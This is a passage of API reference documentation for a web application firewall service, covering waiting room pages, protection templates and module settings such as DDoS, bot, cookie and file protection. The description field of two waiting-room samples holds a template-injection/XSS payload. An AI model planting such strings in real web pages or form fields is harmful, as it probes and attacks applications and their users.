type	string Enum values: predefined, custom

Responses

Request samples

Payload

Content type
application/json

{"description": "{{constructor.constructor('alert(1)')()}}aaa", "name": "11", "page_content": "...some HTML/CSS <!DOCTYPE html PUBLIC \"...", "type": "Custom" }

Response samples

200
400

Content type
application/json

{"message": "Custom waiting room page was updated successfully." }

Clone Custom Waiting Room Page

Clone a Custom Waiting Room Page.

Create a copy of an existing Custom Waiting Room Page with a new name.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

from_name required	string Source waiting room page name
to_name required	string Target waiting room page name

Responses

Request samples

Payload

Content type
application/json

{"from_name": "test", "to_name": "test_2" }

Response samples

200
400
404

Content type
application/json

{"message": "Operation is successful" }

Get Custom Waiting Room Page Detail

Get the detailed information of Custom Waiting Room Page.

Response includes HTML content.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

page_name

required

string

Responses

Response samples

200
400
404

Content type
application/json

{"description": "{{constructor.constructor('alert(1)')()}}aaa", "name": "11", "page_content": "...some HTML/CSS <!DOCTYPE html PUBLIC \"...", "type": "Custom" }

Template Basic

This section shows how to configure template.

Get Templates List

List the current templates.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200

Content type
application/json

{"result": [{"endpoints": [["1234567890", "APP-TEST", "app.test.com" ] ], "features": ["botdetection", "RequestLimits", "ddosprevention", "FileProtection", "knownattacks", "IPProtection", "customrule" ], "name": "Drupal", "predefine": true, "template_id": "d1f0e0e6-6e8a-5659-aef2-0018d3a13b10" }, {"endpoints": [ ], "features": ["botdetection", "RequestLimits", "ddosprevention", "FileProtection", "knownattacks", "IPProtection", "customrule" ], "name": "Exchange", "predefine": true, "template_id": "bc4c9369-ba48-5b30-81f7-95483fc089ba" }, {"endpoints": [ ], "features": ["botdetection", "biometricsbaseddetection", "RequestLimits", "ddosprevention", "httpheadersecurity", "CookieSecurity", "FileProtection", "knownattacks", "IPProtection", "customrule", "informationleakage" ], "name": "ExtendedProtection", "predefine": true, "template_id": "fc5260ec-4853-547d-90ba-d8c4acc9746f" }, {"endpoints": [ ], "features": ["botdetection", "RequestLimits", "ddosprevention", "FileProtection", "knownattacks", "IPProtection", "customrule" ], "name": "SharePoint", "predefine": true, "template_id": "2eb3d56f-1ae9-5b4c-80b0-bb7f08f806a2" }, {"endpoints": [ ], "features": ["botdetection", "RequestLimits", "ddosprevention", "FileProtection", "knownattacks", "IPProtection", "customrule" ], "name": "StandardProtection", "predefine": true, "template_id": "030c3362-b126-5a07-bf59-83c34d7ea0cc" }, {"endpoints": [ ], "features": ["botdetection", "RequestLimits", "ddosprevention", "FileProtection", "knownattacks", "IPProtection", "customrule" ], "name": "Wordpress", "predefine": true, "template_id": "4f37d570-a2c0-57a8-9dd1-443292f7f88e" } ], "total": 6, "user_perm": "rw" }

Create Template

Create a new template.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

endpoints	Array of strings Endpoints list
name	string Template name

Responses

Request samples

Payload

Content type
application/json

{"endpoints": ["1234567890" ], "name": "template-name" }

Response samples

200

Content type
application/json

{"detail": "Template created" }

Clone Template

Create a new template from the existing one.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

from_template	string Source template ID
name	string Template name

Responses

Request samples

Payload

Content type
application/json

{"from_template": "e50cbdc9-e4fa-5aca-963c-f115fb63b7ba", "name": "template-clone-name" }

Response samples

200

Content type
application/json

{"detail": "Template cloned" }

Delete Template

Delete the template.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Template ID

Responses

Response samples

200

Content type
application/json

{"detail": "Template deleted" }

Get Template

Fetch the template detail.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Template ID

Responses

Response samples

200

Content type
application/json

{"result": {"endpoints": ["1234567890" ], "features": ["knownattacks" ], "name": "template-name", "predefine": false, "template_id": "bd45f3d5-7388-5df8-a514-75c354e81b2b" } }

Update Template

Update the template.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Template ID

Request Body schema: application/json

endpoints

Array of strings

Endpoint ID

Responses

Request samples

Payload

Content type
application/json

{"endpoints": ["1234567890" ] }

Response samples

200

Content type
application/json

{"detail": "Template updated" }

Template Modules

This section shows how to configure modules of a template.

Get Template Account Takeover

Get the configuration of account takeover of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "auth_url": "/1", "cred_stuffing_protect": true, "logoff_url": "/2", "password": "bb", "redirect_url": "/3", "response_body": "dd", "return_code": "200", "sess_fixation_protect": true, "sess_id_name": "cc", "status": true, "username": "aa" }, "template": false } }

Update Template Account Takeover

Update the configuration of account takeover of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (AccountTakeover)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "auth_url": "/1", "cred_stuffing_protect": true, "logoff_url": "/2", "password": "bb", "redirect_url": "/3", "response_body": "dd", "return_code": "200", "sess_fixation_protect": true, "sess_id_name": "cc", "status": true, "username": "aa" }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Anomaly Detection

Get the configuration of anomaly detection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "ip_list": [{"idx": 1, "ip": "181.12.3.1-181.12.3.10" } ], "ip_list_type": "Trust", "status": true }, "template": true } }

Update Template Anomaly Detection

Update the configuration of anomaly detection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (AnomalyDetection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "ip_list": [{"idx": 1, "ip": "181.12.3.1-181.12.3.10" } ], "ip_list_type": "Trust", "status": true }, "template": true }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template API Gateway Policy

Get the configuration of API gateway policy of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "rule_list": [{"api_key_loc": "http-header", "api_key_verify": true, "field_name": "API_KEY", "idx": 1, "name": "test_rule", "rate_limit_period": 1, "rate_limit_req": 10, "url_list": [{"backend": "/back", "frontend": "/front", "idx": 1 } ], "user_list": ["test_user" ] } ], "status": true, "user_list": [{"api_key": "4DxCGdrr7imTJOCW05ng2ixKV7Qs0UB3mk0mYcA4", "comments": "test user", "create_time": "2022-03-24 21:27:07", "email": "test@test.com", "idx": 1, "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "name": "test_user", "referer_list": [{"idx": 1, "referer": "referer1" } ], "uuid": "2858b0d0-abb9-11ec-a6ca-b694bf1ae8ed" } ] }, "template": false } }

Update Template API Gateway Policy

Update the configuration of API gateway policy of the template.

To add a new API user, a sample body is added to the request that conforms to the following JSON schema:

"api_user": [ { "name": "user1", "email": "user1@sina.com", "comments": "user1", "ip-access-list": ["1.1.1.1"], "http-referer-list": ["www.sina.com"] }, ]

To add a new API policy, a sample body is added to the request that conforms to the following JSON schema:

"api_policy": [ { "api-key-verification": "enable", "api-key-location": "http-header", "match-url-prefixes": [ { "frontend-prefix": "/front_prefix", "backend-prefix": "/back_prefix" } ], "api-user-list": ["he"], "rate-limit-period": 1, "rate-limit-requests": 60, "name": "rule1", "header-field-name": "header1" }, ]

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (APIGateway)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "rule_list": [{"api_key_loc": "http-header", "api_key_verify": true, "field_name": "API_KEY", "idx": 1, "name": "test_rule", "rate_limit_period": 1, "rate_limit_req": 10, "url_list": [{"backend": "/back", "frontend": "/front", "idx": 1 } ], "user_list": ["test_user" ] } ], "status": true, "user_list": [{"api_key": "4DxCGdrr7imTJOCW05ng2ixKV7Qs0UB3mk0mYcA4", "comments": "test user", "create_time": "2022-03-24 21:27:07", "email": "test@test.com", "idx": 1, "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "name": "test_user", "referer_list": [{"idx": 1, "referer": "referer1" } ], "uuid": "2858b0d0-abb9-11ec-a6ca-b694bf1ae8ed" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template OpenAPI Validation

Get the configuration of OpenAPI validation policy of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "bucket": "bucket-name", "file_list": [{"desc": "Description", "idx": 1, "md5": "40b9ed5d76ff847940facc24df43498e", "name": "petstore.yaml", "title": "Swagger Petstore", "url": "http://petstore.swagger.io/v1" } ], "prefix": "2512018171/10", "status": true }, "template": false } }

Update Template OpenAPI Validation

Update the configuration of OpenAPI validation policy of the template.

The data format in the request is multipart/form-data. Refer to the Request body for more detail information

The keywords of the form are template_status, _status, action, OpenAPIValidationPolicy.

The keyword format of the uploaded file is: the prefix file_ + the array index of each rule, for example, file_1.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

One of
required
object (ApiProtection)

template
required
boolean
Enum: true false

Enable to inherit configuration from template

property name*
additional property
any

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "file_list": [{"idx": 1, "name": "petstore.yaml" } ], "status": true }, "file_1": "{binary}", "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Biometrics Based Detection

Get the configuration of biometrics based detection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "bot_effect_time": 5, "click": true, "event_collect_time": 15, "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "keyboard": true, "mouse_movement": true, "screen_touch": true, "scroll": true, "status": true, "url_list": [{"idx": "1", "url": "/1" } ] }, "template": false } }

Update Template Biometrics Based Detection

Update the configuration of biometrics based detection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (BiometricsBasedDetection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "bot_effect_time": 5, "click": true, "event_collect_time": 15, "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "keyboard": true, "mouse_movement": true, "screen_touch": true, "scroll": true, "status": true, "url_list": [{"idx": "1", "url": "/1" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Bot Deception

Get the configuration of bot deception of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "deception_url": "/url.html", "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "status": true, "url_list": [{"idx": 1, "url": "/1" } ] }, "template": false } }

Update Template Bot Deception

Update the configuration of bot deception of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (BotDeception)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "deception_url": "/url.html", "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "status": true, "url_list": [{"idx": 1, "url": "/1" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Caching and Compression

Get the web cache policy and file compress rule of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"cache": {"allow_file_type": ["binary", "media", "picture" ], "allow_method": "GET,HEAD", "allow_return_code": "200", "cache_timeout": 60, "cookie_list": [{"idx": 1, "name": "_a" }, {"idx": 2, "name": "_b" } ], "key_factor": ["arguments", "host", "method", "protocol", "url", "cookies" ], "rule_list": [{"bypass_arg": true, "bypass_arg_value": "a", "bypass_cookie": true, "bypass_cookie_value": "b", "idx": 1, "method": "any", "url": "/1" } ], "status": true, "timeout_type": "minutes" }, "compress": {"content_type_list": [{"idx": 1, "type": "application/javascript" }, {"idx": 2, "type": "application/json" }, {"idx": 3, "type": "application/rss+xml" }, {"idx": 4, "type": "application/soap+xml" }, {"idx": 5, "type": "application/x-javascript" }, {"idx": 6, "type": "application/xml(or)text/xml" }, {"idx": 7, "type": "text/css" }, {"idx": 8, "type": "text/html" }, {"idx": 9, "type": "text/javascript" }, {"idx": 10, "type": "text/plain" } ], "status": true }, "status": true }, "template": false } }

Update Template Caching and Compression

Update the web cache policy and file compress rule of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (CachingAndCompression)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"cache": {"allow_file_type": ["binary", "media", "picture" ], "allow_method": "GET,HEAD", "allow_return_code": "200", "cache_timeout": 60, "cookie_list": [{"idx": 1, "name": "_a" }, {"idx": 2, "name": "_b" } ], "key_factor": ["arguments", "host", "method", "protocol", "url", "cookies" ], "rule_list": [{"bypass_arg": true, "bypass_arg_value": "a", "bypass_cookie": true, "bypass_cookie_value": "b", "idx": 1, "method": "any", "url": "/1" } ], "status": true, "timeout_type": "minutes" }, "compress": {"content_type_list": [{"idx": 1, "type": "application/javascript" }, {"idx": 2, "type": "application/json" }, {"idx": 3, "type": "application/rss+xml" }, {"idx": 4, "type": "application/soap+xml" }, {"idx": 5, "type": "application/x-javascript" }, {"idx": 6, "type": "application/xml(or)text/xml" }, {"idx": 7, "type": "text/css" }, {"idx": 8, "type": "text/html" }, {"idx": 9, "type": "text/javascript" }, {"idx": 10, "type": "text/plain" } ], "status": true }, "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Cookie Security

Get the configuration of cookie security of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "cookie_except_list": [{"idx": 1, "name": "__utma", "wildcard": false }, {"idx": 2, "name": "__utmb", "wildcard": false }, {"idx": 3, "name": "__utmc", "wildcard": false }, {"idx": 4, "name": "__utmz", "wildcard": false }, {"idx": 5, "name": "__utmv", "wildcard": false }, {"idx": 6, "name": "__utmx", "wildcard": false }, {"idx": 7, "name": "__RequestVerificationToken", "wildcard": false }, {"idx": 8, "name": "__RequestVerificationToken_Lw__", "wildcard": false }, {"idx": 9, "name": "CoreID6", "wildcard": false }, {"idx": 10, "name": "BDSVRTM", "wildcard": false }, {"idx": 11, "name": "X-BackEndCookie", "wildcard": false }, {"idx": 12, "name": "X-OWA-CANARY", "wildcard": false }, {"idx": 13, "name": "ASPSESSIONID", "wildcard": false }, {"idx": 14, "name": "PHPSESSID", "wildcard": false }, {"idx": 15, "name": "JSESSIONID", "wildcard": false }, {"idx": 16, "name": "ASP.NET_SessionId", "wildcard": false }, {"idx": 17, "name": "adAuthCookie", "wildcard": false }, {"idx": 18, "name": "unique2u", "wildcard": false } ], "http_only": true, "max_age": 180, "mode": "signed", "replay_protection": true, "samesite": false, "samesite_value": "Lax", "secure_cookie": true, "status": true }, "template": false } }

Update Template Cookie Security

Update the configuration of cookie security of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (CookieSecurity)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "cookie_except_list": [{"idx": 1, "name": "__utma", "wildcard": false }, {"idx": 2, "name": "__utmb", "wildcard": false }, {"idx": 3, "name": "__utmc", "wildcard": false }, {"idx": 4, "name": "__utmz", "wildcard": false }, {"idx": 5, "name": "__utmv", "wildcard": false }, {"idx": 6, "name": "__utmx", "wildcard": false }, {"idx": 7, "name": "__RequestVerificationToken", "wildcard": false }, {"idx": 8, "name": "__RequestVerificationToken_Lw__", "wildcard": false }, {"idx": 9, "name": "CoreID6", "wildcard": false }, {"idx": 10, "name": "BDSVRTM", "wildcard": false }, {"idx": 11, "name": "X-BackEndCookie", "wildcard": false }, {"idx": 12, "name": "X-OWA-CANARY", "wildcard": false }, {"idx": 13, "name": "ASPSESSIONID", "wildcard": false }, {"idx": 14, "name": "PHPSESSID", "wildcard": false }, {"idx": 15, "name": "JSESSIONID", "wildcard": false }, {"idx": 16, "name": "ASP.NET_SessionId", "wildcard": false }, {"idx": 17, "name": "adAuthCookie", "wildcard": false }, {"idx": 18, "name": "unique2u", "wildcard": false } ], "http_only": true, "max_age": 180, "mode": "signed", "replay_protection": true, "samesite": false, "samesite_value": "Lax", "secure_cookie": true, "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template CORS Protection

Get the configuration of CORS protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{ }

Update Template CORS Protection

Update the configuration of CORS protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (CorsProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{ }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template CSRF Protection

Get the configuration of CSRF protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert", "page_list": [{"filter": true, "idx": 1, "name": "a", "url": "/1", "value": "1" } ], "status": false, "url_list": [{"filter": true, "idx": 1, "name": "b", "url": "/2", "value": "2" } ] }, "template": false } }

Update Template CSRF Protection

Update the configuration of CSRF protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (CSRFProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert", "page_list": [{"filter": true, "idx": 1, "name": "a", "url": "/1", "value": "1" } ], "status": false, "url_list": [{"filter": true, "idx": 1, "name": "b", "url": "/2", "value": "2" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Custom Rule

Get the configuration of custom rule of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"rule_list": [{"action": "block-period", "block_period": 600, "challenge": "real-browser-enforcement", "filter_list": [{"idx": 1, "ip": "1.1.1.1-1.1.1.255", "reverse_match": true, "type": "source-ip-filter" }, {"idx": 2, "reverse_match": true, "type": "user-filter", "username": "uname" }, {"idx": 3, "reverse_match": false, "type": "url-filter", "url": "/url" }, {"idx": 4, "name": "para_name", "type": "parameter", "value": "para_value" }, {"header_check": true, "header_name": "Accept", "header_reverse_match": false, "header_type": "predefined", "header_value": "test", "http_hline_empty_check": false, "http_hline_missing_check": false, "idx": 5, "method_check": true, "method_reverse_match": false, "method_value": "method", "type": "http-header-filter" }, {"header_check": true, "header_name": "aaa", "header_reverse_match": false, "header_type": "custom", "header_value": "test", "http_hline_empty_check": false, "http_hline_missing_check": false, "idx": 6, "method_check": false, "method_reverse_match": false, "method_value": "bbb", "type": "http-header-filter" }, {"content_types": ["application/xml", "text/xml" ], "idx": 7, "type": "content-type" }, {"code": "404", "idx": 8, "type": "response-code" }, {"cross_site_scripting": true, "generic_attacks": true, "idx": 9, "known_exploits": true, "sql_injection": true, "trojans": true, "type": "security-rules" }, {"idx": 10, "limit": 10, "type": "access-limit-filter" }, {"idx": 11, "timeout": 2, "type": "packet-interval" }, {"idx": 12, "timeout": 5, "type": "http-transaction" }, {"idx": 13, "occurrence": 1, "type": "occurrence", "within": 1 }, {"end": "02:00", "idx": 14, "start": "01:00", "time_type": "daily", "type": "time-range-filter" }, {"country_list": ["Afghanistan", "Bahamas" ], "idx": 15, "match_exclusively": true, "type": "geo-filter" } ], "idx": 1, "name": "TEST" } ], "status": true } } }

Get Template DDoS Prevention

Get the configuration of DDoS prevention of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "block_period", "block_period": 600, "challenge": "real-browser-enforcement", "conn_flood_check": true, "conn_flood_limit": 100, "http_access_limit": true, "http_flood_prevent": true, "http_request_limit": 1000, "http_session_limit": 500, "ip_exception": ["1.1.1.1-1.1.1.2,1.1.1.4" ], "status": true, "tcp_conn_num_limit": 255, "tcp_flood_prevent": false }, "template": false } }

Update Template DDoS Prevention

Update the configuration of DDoS prevention of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (DDoSPrevention)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "block_period", "block_period": 600, "challenge": "real-browser-enforcement", "conn_flood_check": true, "conn_flood_limit": 100, "http_access_limit": true, "http_flood_prevent": true, "http_request_limit": 1000, "http_session_limit": 500, "ip_exception": ["1.1.1.1-1.1.1.2,1.1.1.4" ], "status": true, "tcp_conn_num_limit": 255, "tcp_flood_prevent": false }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Export DDoS IP Exception list

Export DDoS IP Exception list of Template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"content": "encoding data", "file_name": "ddos_ip_exception_list.csv" } }

Get Template File Protection

Get the configuration of file protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "av_scan": true, "custom_file_types": [{"file_extension": "xyz", "idx": 1, "match_rules": [{"concatenate_type": "AND", "data_type": "string", "data_value": "lwtf_type", "idx": 1, "offset": 0, "offset_from": "beginning", "operation": "search" }, {"concatenate_type": "OR", "data_type": "string", "data_value": "test", "idx": 2, "offset": 0, "offset_from": "end_of_last_match", "operation": "equal" }, {"concatenate_type": "AND", "data_type": "hex_array", "data_value": "1234567890abcdef", "idx": 3, "offset": 0, "offset_from": "beginning", "operation": "search" } ], "name": "custom_type_name" } ], "file_action": "Allow", "file_size": 1024, "file_types": [{"idx": 1, "tid": "00001", "type": "GIF" }, {"idx": 2, "tid": "00059", "type": "XPS" } ], "json_file_support": false, "json_key_field": null, "json_key_for_filename": null, "sandbox": true, "status": true, "trojan": true, "url": "/1" }, "template": false } }

Update Template File Protection

Update the configuration of file protection of the template.

The table below shows the keys and values of "file-type-id" and "file-type-name".

file-type-id file-type-name
00001 GIF
00002 JPG
00010 BMP
00018 PNG
00019 TIFF/TIF
00023 Windows Metafile Format(.wmf)
00024 Corel Draw Picture
00028 Windows Icon
00030 Microsoft Document Image(.mdi)
00032 Windows Enhanced Metafile(.emf)
00038 Photoshop Image File(.psd)
00050 JPEG-2000 Image File Format(.jp2)
00054 Multipage PCX Bitmap File(.dcx)
00059 XPS
00089 TXT
00060 Word(.docx)
00061 Word Macro-Enabled(.docm)
00062 Word Template(.dotx)
00063 Word Macro-Enabled Template(.dotm)
00064 Excel(.xlsx)
00065 Excel Macro-Enabled(.xlsm)
00066 Excel Template(.xltx)
00067 Excel Macro-Enabled Template(.xltm)
00068 Excel Add-In(.xlam)
00069 PPT(.pptx)
00070 PPT Macro-Enabled(.pptm)
00071 PPT Template(.potx)
00072 PPT Macro-Enabled Template(.potm)
00073 PPT Add-In(.ppam)
00074 PPT Show(.ppsx)
00075 PPT Macro-Enabled Show(.ppsm)
00076 Visio Drawing(.vsdx)
00077 Visio Macro-Enabled Drawing(.vsdm)
00078 Visio Stencil(.vssx)
00079 Visio Macro-Enabled Stencil(.vssm)
00080 Visio Template(.vstx)
00081 Visio Macro-Enabled Template(.vstm)
00003 PDF
00004 XML
00021 CHM
00022 EXE
00026 RTF
00036 Windows Help File(.hlp)
00042 Windows Mobile Note(.pwi)
00043 Windows Registry Text(.reg)
00046 SQL Server 2000 Database(.mdf)
00047 Java Archive(.jar)
00048 Windows Printer Spool File(.shd)
00049 Windows Shortcut File(.lnk)
00051 Quark Express Document(.qxd)
00053 Windows MS Info File(.mof)
00055 Microsoft Access Database(.MDB)
00056 SPSS Data(.SAV)
00083 RedHat Package Manager file(.RPM)
00082 VMware Virtual Disk File(.vmdk)
00084 Lotus WordPro document(.LWP)
00085 Adobe encapsulated PostScript file(.EPS)
00086 Lotus 1-2-3 spreadsheet(.WK)
00087 SkinCrafter skin file(.skf)
00088 Nero CD Compilation(.NRI)
00090 Microsoft Office Word(.doc)
00091 Microsoft Office Excel(.xls)
00092 Microsoft Office PowerPoint(.ppt)
00093 Hancom Office Hanword(.hwp)
00005 MP3
00006 MIDI
00007 WAVE
00031 Apple CoreAudio(.caf)
00037 Microsoft Advanced Streaming(.asf)
00039 Real Audio File(.ra)
00044 Apple Lossless Audio(.m4a)
00052 Digital Speech Standard(.dss)
00011 Real Media File(.rm)
00012 MPEG v4
00013 3GPP
00015 AVI
00020 Macromedia Flash
00035 Windows Animated Cursor
00045 DVD Video Movie File(.vob)
00008 RAR
00009 ZIP
00017 TAR
00025 7-ZIP
00027 Debian Package
00029 Microsoft Cabinet File
00033 Unix Archiver File(.ar)
00034 Installshield Cabinet Archive Data
00040 AIN Archive Data(.ain)
00041 BZIP2 Archive(.bz2)
00057 WinZIP ZIPX Archive(ZIPx)
00058 Gzipped Tape Archive(TGZ)
00094 TXT(.txt)
00095 ZIP(.zip)
00096 7-ZIP(.7z)
00097 Debian Package(.pkg)
00098 Unix Archiver File(.ar)
00099 AIN Archive Data(.ain)
00100 BZIP2 Archive(.bz2)
00101 Gzipped Tape Archive(.tgz)
00102 Word(.docx)
00103 Word Macro-Enabled(.docm)
00104 Word Template(.dotx)
00105 Word Macro-Enabled Template(.dotm)
00106 Excel(.xlsx)
00107 Excel Macro-Enabled(.xlsm)
00108 Excel Template(.xltx)
00109 Excel Macro-Enabled Template(.xltm)
00110 Excel Add-In(.xlam)
00111 PPT(.pptx)
00112 PPT Macro-Enabled(.pptm)
00113 PPT Template(.potx)
00114 PPT Macro-Enabled Template(.potm)
00115 PPT Add-In(.ppam)
00116 PPT Show(.ppsx)
00117 PPT Macro-Enabled Show(.ppsm)
00118 Visio Drawing(.vsdx)
00119 Visio Macro-Enabled Drawing(.vsdm)
00120 Visio Stencil(.vssx)
00121 Visio Macro-Enabled Stencil(.vssm)
00122 Visio Template(.vstx)
00123 Visio Macro-Enabled Template(.vstm)
00124 PDF(.pdf)
00125 XML(.xml)
00126 EXE(.exe)
00127 Rich Text Format(.rtf)
